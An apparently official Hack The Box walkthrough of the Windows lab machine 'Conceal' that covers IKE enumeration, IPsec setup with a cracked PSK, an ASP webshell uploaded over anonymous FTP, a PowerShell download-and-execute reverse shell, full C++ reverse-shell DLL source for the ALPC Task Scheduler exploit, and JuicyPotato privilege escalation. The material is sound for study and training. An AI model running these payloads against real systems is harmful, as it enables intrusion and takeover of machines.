



Hack The Box
PEN-TESTING LABS



Conceal

08th May 2019 / Document No D19.100.20

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Difficulty: **Hard**

Classification: Official



SYNOPSIS

Conceal is a “hard” difficulty Windows which teaches enumeration of IKE protocol and configuring IPSec in transport mode. Once configured and working the firewall goes down and a shell can be uploaded via FTP and executed. On listing the hotfixes the box is found vulnerable to ALPC Task Scheduler LPE. Alternatively, SelmpersonatePrivilege granted to the user allows to obtain a SYSTEM shell.

Skills Required

- Networking
- Windows Enumeration

Skills Learned

- IKE Configuration



ENUMERATION

NMAP

TCP Full Port Scan

```
nmap -p- -T4 --min-rate=1000 10.10.10.116
```

After completion we find no ports open on TCP. Let's do a UDP Scan.

```
nmap -sU -T4 -p1-1000 -sC -sV 10.10.10.116
```

```
root@Ubuntu:~/Documents/HTB/Conceal# nmap -sU -T4 --min-rate=1000 10.10.10.116
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-08 07:09 IST
Nmap scan report for 10.10.10.116
Host is up (0.18s latency).
Not shown: 999 open|filtered ports
PORT      STATE SERVICE
500/udp   open  isakmp

Nmap done: 1 IP address (1 host up) scanned in 4.35 seconds
root@Ubuntu:~/Documents/HTB/Conceal#
```

We find port 500 to be open, which on doing a script scan appears to be running IKE.

```
root@Ubuntu:~/Documents/HTB/Conceal# nmap -sC -sV -p500 -sU 10.10.10.116
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-08 07:10 IST
Nmap scan report for 10.10.10.116
Host is up (0.34s latency).

PORT      STATE SERVICE VERSION
500/udp   open  isakmp  Microsoft Windows 8
| ike-version:
|   vendor_id: Microsoft Windows 8
|   attributes:
|     MS_NT5_ISAKMPOAKLEY
|     RFC_3947_NAT-T
|     draft-ietf-ipsec-nat-t-ike-02\n
|     IKE_FRAGMENTATION
|     MS-Negotiation Discovery Capable
|_    IKE CGA version 1
Service Info: OS: Windows 8; CPE: cpe:/o:microsoft:windows:8, cpe:/o:microsoft:windows
```

IKE stands for Internet Key Exchange which is used to establish a secure connection in the IPSec protocol. More on it [here](#).



IKESCAN

In order to configure the VPN we'll need the various parameters associated with it like the encryption algorithms, protocol, pre-shared key etc.

To do this we'll use a utility ike-scan.

```
apt install ike-scan
ike-scan 10.10.10.116
```

```
$ ike-scan 10.10.10.116
Starting ike-scan 1.9.4 with 1 hosts
(http://www.nta-monitor.com/tools/ike-scan/)

10.10.10.116      Main Mode Handshake returned HDR=(CKY-R=ee3af26a40c2eaa8)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds
LifeDuration(4)=0x00007080) VID=1e2b516905991c7d7c96fcbfb587e46100000009
(Windows-8) VID=4a131c81070358455c5728f20e95452f (RFC 3947 NAT-T)
VID=90cb80913ebb696e086381b5ec427b1f (draft-ietf-ipsec-nat-t-ike-02\n)
VID=4048b7d56ebce88525e7de7f00d6c2d3 (IKE Fragmentation)
VID=fb1de3cdf341b7ea16b7e5be0855f120 (MS-Negotiation Discovery Capable)
VID=e3a5966a76379fe707228231e5ce8652 (IKE CGA version 1)

Ending ike-scan 1.9.4: 1 hosts scanned in 0.358 seconds (2.79 hosts/sec).
1 returned handshake; 0 returned notify
```

We obtain some information like Encryption type 3DES, SHA1 hash algorithm and the IKE Version being v1 among others. Another thing to be noted is the Auth parameter which needs a PSK (Pre-shared Key)



SNMPWALK

To enumerate the network information further we can use snmpwalk.

```
root@Ubuntu:~/Documents/HTB/Conceal# snmpwalk -v2c -c public 10.10.10.116
Created directory: /var/lib/snmp/mib_indexes
iso.3.6.1.2.1.1.1.0 = STRING: "Hardware: AMD64 Family 23 Model 1 Stepping 2 AT/AT COMPATIBLE or Free)"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.311.1.1.3.1.1
iso.3.6.1.2.1.1.3.0 = Timeticks: (102825) 0:17:08.25
iso.3.6.1.2.1.1.4.0 = STRING: "IKE VPN password PSK - 9C8B1A372B1878851BE2C097031B6E43"
iso.3.6.1.2.1.1.5.0 = STRING: "Conceal"
iso.3.6.1.2.1.1.6.0 = ""
iso.3.6.1.2.1.1.7.0 = INTEGER: 76
iso.3.6.1.2.1.2.1.0 = INTEGER: 15
iso.3.6.1.2.1.2.2.1.1.1 = INTEGER: 1
iso.3.6.1.2.1.2.2.1.1.2 = INTEGER: 2
```

The string "IKE VPN password PSK - 9C8B1A372B1878851BE2C097031B6E43" is obtained. The password is 32 characters long which could be an md5 hash or NTLM hash.

```
root@Ubuntu:~/Documents/HTB/Conceal# echo -n 9C8B1A372B1878851BE2C097031B6E43 | wc -c
32
root@Ubuntu:~/Documents/HTB/Conceal#
```

Trying it on [Hashkiller](#) cracks it as an NTLM hash.

Cracker Results:

```
9C8B1A372B1878851BE2C097031B6E43 NTLM Dudecake1!
```

The cracked PSK is Dudecake1!

STRONGSWAN CONFIGURATION

To establish a connection we'll use strongswan which allows use to configure ipsec.

```
apt install -y strongswan
```



As we know the PSK already we can configure it in /etc/ipsec.secrets.

```
echo '10.10.10.116 : PSK "Dudecake1!"' >> /etc/ipsec.secrets
```

It's in the format source destination : PSK , as the source is always us we can ignore it.

Next open up /etc/ipsec.conf in order to configure the connection and it's parameters. The [strongswan documentation](#) consists of the list of parameters available. The minimal configuration looks like this.

```
conn Conceal
    type=transport
    keyexchange=ikev1
    right=10.10.10.116
    authby=psk
    rightprotoport=tcp
    leftprotoport=tcp
    esp=3des-sha1
    ike=3des-sha1-modp1024
    auto=start
```

We define a connection named Conceal. The type of connection is just transport as we are only encrypting the traffic and not creating a tunnel. The keyexchange parameter is used to specify the version of protocol to be used which we obtained earlier as v1. The right parameter is used to specify the destination host. The authby parameter will be psk obtained from ikescan. We assume the protocol to be TCP, in case it doesn't work it'll be switched with UDP. It is specified using the protoport parameters. The esp parameter specifies the cipher suites in the format encryption-hashing. The ike parameter is the same but we need to specify even the group which is modp1024.

```
Ipsec stop
Ipsec start --nofork
```

We stop the ipsec service to kill all related processes and start it in nofork mode in order to debug it.



```
11[IKE] maximum IKE_SA lifetime 10577s
11[ENC] generating QUICK_MODE request 619667249 [ HASH SA No ID ID ]
11[NET] sending packet: from 10.10.14.2[500] to 10.10.10.116[500] (196 bytes)
12[NET] received packet: from 10.10.10.116[500] to 10.10.14.2[500] (188 bytes)
12[ENC] parsed QUICK_MODE response 619667249 [ HASH SA No ID ID ]
12[CFG] selected proposal: ESP:3DES_CBC/HMAC_SHA1_96/NO_EXT_SEQ
12[IKE] CHILD_SA Conceal{1} established with SPIs c93d633d_i 4a7dd898_o and TS 10.10.14.2/32[tcp] === 10.10.10.116/32[tcp]
12[ENC] generating QUICK_MODE request 619667249 [ HASH ]
```

The message “Conceal established....” confirms that the connection was successful.

NMAP

Running nmap again after successful connection lets us bypass the firewall and discover ports. We need to use -sT for a full connect scan.

```
ports=$(nmap -p- --min-rate=1000 -sT -T4 10.10.10.116 | grep ^[0-9] | cut
-d '/' -f 1 | tr '\n' ',' | sed s/,,$//)
nmap -sC -sV -p$ports -sT 10.10.10.116
```

```
root@Ubuntu:~/Documents/HTB/Conceal# nmap -sC -sV -p$ports -sT 10.10.10.116
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-08 08:29 IST
Nmap scan report for 10.10.10.116
Host is up (0.20s latency).

PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|_  SYST: Windows_NT
80/tcp    open  http         Microsoft IIS httpd 10.0
|_http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
```

Now the ports are open like any normal windows box. IIS is running on port 80 and FTP has anonymous login enabled.



IIS - PORT 80

The page hosts a standard IIS Installation.



GOBUSTER

Running gobuster found an interesting folder which could be linked to FTP.

```
root@Ubuntu:~/Documents/HTB/Conceal# gobuster -w directory-list-2.3-medium.txt -t 100 -u http://10.10.10.116/

=====
Gobuster v2.0.1                OJ Reeves (@TheColonial)
=====
[+] Mode           : dir
[+] Url/Domain     : http://10.10.10.116/
[+] Threads       : 100
[+] Wordlist        : directory-list-2.3-medium.txt
[+] Status codes   : 200,204,301,302,307,403
[+] Timeout        : 10s
=====
2019/05/08 08:34:36 Starting gobuster
=====
/upload (Status: 301)
```




FTP

FTP has anonymous login enabled. After logging in we land in an empty directory. To test if the /upload directory is linked to FTP we upload a test file.

```
root@Ubuntu:~/Documents/HTB/Conceal# echo pwn > exist.asp
root@Ubuntu:~/Documents/HTB/Conceal# ftp 10.10.10.116
Connected to 10.10.10.116.
220 Microsoft FTP Service
Name (10.10.10.116:hazard): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> put exist.asp
local: exist.asp remote: exist.asp
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
5 bytes sent in 0.00 secs (42.8317 kB/s)
ftp> █
```

And then to verify,

```
curl http://10.10.10.116/upload/exist.asp
```

```
root@Ubuntu:~/Documents/HTB/Conceal# curl http://10.10.10.116/upload/exist.asp
pwn
root@Ubuntu:~/Documents/HTB/Conceal# █
```

Having verified this we can drop a shell and execute it.



FOOTHOLD

We can execute system commands with asp scripts. We'll use this simple cmd.asp webshell [here](#).

```
wget
https://raw.githubusercontent.com/tennc/webshell/master/asp/webshell.asp -O
cmd.asp
ftp 10.10.10.116 # put cmd.asp
```

```
root@Ubuntu:~/Documents/HTB/Conceal# wget https://raw.githubusercontent.com/tennc/webshell/master/asp/webshell.asp -O cmd.asp
--2019-05-08 08:59:46-- https://raw.githubusercontent.com/tennc/webshell/master/asp/webshell.asp
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.1.1
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.1.1:443:
HTTP request sent, awaiting response... 200 OK
Length: 923 [text/plain]
Saving to: '_cmd.asp_'

cmd.asp                               100%[=====]
2019-05-08 08:59:47 (113 MB/s) - '_cmd.asp_' saved [923/923]

root@Ubuntu:~/Documents/HTB/Conceal# ftp 10.10.10.116
Connected to 10.10.10.116.
220 Microsoft FTP Service
Name (10.10.10.116:hazard): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> put cmd.asp
local: cmd.asp remote: cmd.asp
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
```

Now we can navigate to <http://10.10.10.116/upload/cmd.asp> to execute commands.



EXECUTING SHELL

We'll use the TCP Reverse Shell from [Nishang](#).

```
wget
https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-
PowerShellTcp.ps1
echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.2 -Port 443' >>
Invoke-PowerShellTcp.ps1
python3 -m http.server 80
```

Add the reverse shell command to the end of the script. Start the http server and execute.

```
Powershell -c iex(new-object
net.webclient).downloadstring('http://10.10.14.2/Invoke-PowerShellTcp.ps1')
```

And we receive a shell as the user Destitute.

```
root@Ubuntu:~/Documents/HTB/Conceal# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.116 - - [08/May/2019 09:12:14] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -

root@Ubuntu:~/Documents/HTB/Conceal# nc -lvp 443
Listening on [0.0.0.0] (family 2, port 443)
Connection from 10.10.10.116 49676 received!
Windows PowerShell running as user CONCEAL$ on CONCEAL
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\SysWOW64\inetsrv>whoami
conceal\destitute
PS C:\Windows\SysWOW64\inetsrv>
```



PRIVILEGE ESCALATION

ENUMERATION

While running systeminfo we find the version to be Windows 10 Enterprise Build 15063 and in the HotFix section we see that nothing was patched.

```
PS C:\Windows\SysWOW64\inetsrv> systeminfo

Host Name:                CONCEAL
OS Name:                   Microsoft Windows 10 Enterprise
OS Version:                10.0.15063 N/A Build 15063
OS Manufacturer:          Microsoft Corporation
OS Configuration:         Standalone Workstation
OS Build Type:              Multiprocessor Free
Registered Owner:          Windows User
```

```
Page File Location(s):    C:\pagefile.sys
Domain:                   WORKGROUP
Logon Server:              N/A
Hotfix(s):                 N/A
Network Card(s):           1 NIC(s) Installed.
```

The box could be potentially vulnerable to ALPC Task Scheduler LPE [CVE-2018-8440](#). One important condition for the exploit to work is the Read Execute access for Authenticated Users group on the C:\Windows\Tasks folder.

```
icaccls C:\Windows\Tasks
```

```
PS C:\users\Destitute\Desktop> icaccls C:\Windows\tasks
C:\Windows\tasks NT AUTHORITY\Authenticated Users:(RX,WD)
                  BUILTIN\Administrators:(F)
                  BUILTIN\Administrators:(OI)(CI)(IO)(F)
                  NT AUTHORITY\SYSTEM:(F)
                  NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
                  NT AUTHORITY\SYSTEM:(F)
                  CREATOR OWNER:(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files
PS C:\users\Destitute\Desktop>
```



ALPC SCHEDULER LPE

Having confirmed the vulnerability we can now exploit it.

We'll use the ALPC DiagHub exploit - <https://github.com/realoriginal/alpc-diaghub> which combines the ALPC exploit with DiagHub Service to execute the DLL. More information on DiagHub [here](#).

Download the 64 bit version and then compile a DLL using mingw. Here's a sample code which sends a reverse shell using sockets on windows. It creates a socket, sends back a connect, runs the command and stores in a buffer to return the output. For a detailed explanation check this [link](#).

```
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <ws2tcpip.h>

#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLen 1024

void revShell();

BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD dwReason, LPVOID lpReserved)
{
    switch(dwReason)
    {
        case DLL_PROCESS_ATTACH:
            revShell();
            break;

        case DLL_PROCESS_DETACH:
            break;

        case DLL_THREAD_ATTACH:
            break;

        case DLL_THREAD_DETACH:
            break;
    }
}
```




```
    }

    return 0;
}

void revShell() {
    Sleep(1000);    // 1000 = One Second

    SOCKET mySocket;
    sockaddr_in addr;
    WSADATA version;
    WSStartup(MAKEWORD(2,2), &version);
    mySocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned
int)NULL, (unsigned int)NULL);
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr("10.10.14.2"); // Change IP
    addr.sin_port = htons(4444); //Change port
    //Connecting to Proxy/ProxyIP/C2Host
    if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL,
NULL, NULL)==SOCKET_ERROR) {
        closesocket(mySocket);
        WSACleanup();
    }
    else {
        char RecvData[DEFAULT_BUFLEN];
        memset(RecvData, 0, sizeof(RecvData));
        int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
        if (RecvCode <= 0) {
            closesocket(mySocket);
            WSACleanup();
        }
        else {
            char Process[] = "cmd.exe";
            STARTUPINFO sinfo;
            PROCESS_INFORMATION pinfo;
            memset(&sinfo, 0, sizeof(sinfo));
            sinfo.cb = sizeof(sinfo);
```



```
        sinfo.dwFlags = (STARTF_USESTDHANDLES |  
STARTF_USESHOWWINDOW);  
  
        sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError =  
(HANDLE) mySocket;  
  
        CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL,  
NULL, &sinfo, &pinfo);  
  
        WaitForSingleObject(pinfo.hProcess, INFINITE);  
        CloseHandle(pinfo.hProcess);  
        CloseHandle(pinfo.hThread);  
  
        memset(RecvData, 0, sizeof(RecvData));  
        int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLen,  
0);  
  
        if (RecvCode <= 0) {  
            closesocket(mySocket);  
            WSACleanup();  
        }  
        if (strcmp(RecvData, "exit\n") == 0) {  
            exit(0);  
        }  
    }  
}
```

Change the IP and port and then compile the DLL.

```
apt install mingw-w64  
x86_64-w64-mingw32-g++ payload.cpp -o payload.dll -lws2_32 -shared
```

Transfer the DLL and the binary to the box via wget. Then execute,

```
cmd /c alpc.exe payload.dll .\htb.rtf
```

The process should just hang.



```
PS C:\users\destitute> cmd /c alpc.exe payload.dll .\htb.rtf
```

But on the other side we receive a SYSTEM shell!

```
root@Ubuntu:~/Documents/HTB/Conceal# nc -lvp 4444
Listening on [0.0.0.0] (family 2, port 4444)
Connection from 10.10.10.116 50539 received!

Microsoft Windows [Version 10.0.15063]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
```

ALTERNATIVE PRIVESC

JUICY POTATO

Looking at the privileges of the user we notice that SeImpersonate is enabled.

```
PS C:\users\Destitute> whoami /priv

PRIVILEGES INFORMATION
-----
Privilege Name            Description                                     State
=====
SeAssignPrimaryTokenPrivilege Replace a process level token                  Disabled
SeIncreaseQuotaPrivilege   Adjust memory quotas for a process            Disabled
SeShutdownPrivilege        Shut down the system                          Disabled
SeAuditPrivilege           Generate security audits                      Disabled
SeChangeNotifyPrivilege    Bypass traverse checking                      Enabled
SeUndockPrivilege          Remove computer from docking station          Disabled
SeImpersonatePrivilege      Impersonate a client after authentication     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set                 Disabled
SeTimeZonePrivilege        Change the time zone                         Disabled
PS C:\users\Destitute>
```

As BITS is disabled we can't use rotten or lonely potato. However, [juicy potato](#) can make use of other COM server and any port other than 6666. Download the binary from the releases,



```
wget  
https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
```

Create a bat script with contents,

```
whoami /all > C:\Users\Public\proof.txt
```

Transfer both the script and exe to the box. Now we need valid CLSID to exploit it. There's a list of CLSIDs for Windows 10 Enterprise [here](#), out of which we can choose one which gives "NT AUTHORITY\SYSTEM".

Run the binary with required arguments,

```
.\juicypotato.exe -t * -p C:\Users\Destitute\root.bat -l 9001 -c  
{A9B5F443-FE02-4C19-859D-E9B5C5A1B6C6}
```

```
C:\users\Destitute>.\juicypotato.exe -t * -p C:\Users\Destitute\root.bat -l 9001 -c {A9B5F443-FE02-4C19-859D-E9B5C5A1B6C6}  
.\juicypotato.exe -t * -p C:\Users\Destitute\root.bat -l 9001 -c {A9B5F443-FE02-4C19-859D-E9B5C5A1B6C6}  
Testing {A9B5F443-FE02-4C19-859D-E9B5C5A1B6C6} 9001  
.....  
[+] authresult 0  
{A9B5F443-FE02-4C19-859D-E9B5C5A1B6C6};NT AUTHORITY\SYSTEM  
[+] CreateProcessWithTokenW OK
```

Now verifying the proof.txt we find the details for SYSTEM.

```
C:\users\Destitute>type C:\Users\Public\proof.txt  
type C:\Users\Public\proof.txt  
  
USER INFORMATION  
-----  
  
User Name          SID  
=====
```

nt authority\system	S-1-5-18
---------------------	----------

Similarly, we create another bat file to change Administrator password.

```
net user Administrator abc123!
```



Run the command,

```
cmd /c ".\juicypotato.exe -t * -p C:\Users\Destitute\root.bat -l 9001 -c {A9B5F443-FE02-4C19-859D-E9B5C5A1B6C6}"
```

```
PS C:\users\destitute> cmd /c ".\juicypotato.exe -t * -p C:\Users\Destitute\root.bat -l 9001 -c {A9B5F443-FE02-4C19-859D-E9B5C5A1B6C6}"
Testing {A9B5F443-FE02-4C19-859D-E9B5C5A1B6C6} 9001
.....
[+] authresult 0
{A9B5F443-FE02-4C19-859D-E9B5C5A1B6C6};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
```

Once the command succeeds we can use psexec to get a shell as SYSTEM.

```
psexec.py administrator@10.10.10.116 # password: abc123!
```

```
root@Ubuntu:/usr/share/doc/python-impacket/examples# ./psexec.py administrator@10.10.10.116
Impacket v0.9.15 - Copyright 2002-2016 Core Security Technologies

Password:
[*] Trying protocol 445/SMB...

[*] Requesting shares on 10.10.10.116.....
[*] Found writable share ADMIN$
[*] Uploading file whYDGHXx.exe
[*] Opening SVCManager on 10.10.10.116.....
[*] Creating service zNdv on 10.10.10.116.....
[*] Starting service zNdv.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.15063]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>
```